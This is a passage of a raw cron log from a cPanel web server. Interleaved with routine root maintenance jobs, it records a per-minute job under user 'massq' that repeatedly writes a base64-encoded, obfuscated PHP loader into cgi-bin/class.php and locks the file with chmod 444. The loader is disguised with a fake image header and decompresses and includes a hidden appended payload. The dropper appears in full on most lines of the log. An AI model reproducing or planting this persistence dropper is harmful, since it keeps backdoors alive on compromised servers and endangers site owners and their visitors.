GY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:07:01 server CROND[30043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:08:01 server CROND[30209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:09:01 server CROND[30275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:09:01 server CROND[30276]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 06:10:01 server CROND[30350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 06:10:01 server CROND[30352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:10:01 server CROND[30354]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 06:10:01 server CROND[30353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:11:01 server CROND[30477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:12:01 server CROND[30544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:12:01 server CROND[30546]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 06:13:01 server CROND[30765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:14:01 server CROND[30828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:15:01 server CROND[30896]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:15:01 server CROND[30898]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  9 06:15:01 server CROND[30900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:15:01 server CROND[30901]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 06:15:01 server CROND[30899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 06:16:01 server CROND[31069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:17:01 server CROND[31169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:18:01 server CROND[31349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:19:01 server CROND[31487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:20:01 server CROND[31557]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 06:20:01 server CROND[31558]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 06:20:01 server CROND[31560]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:20:01 server CROND[31559]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
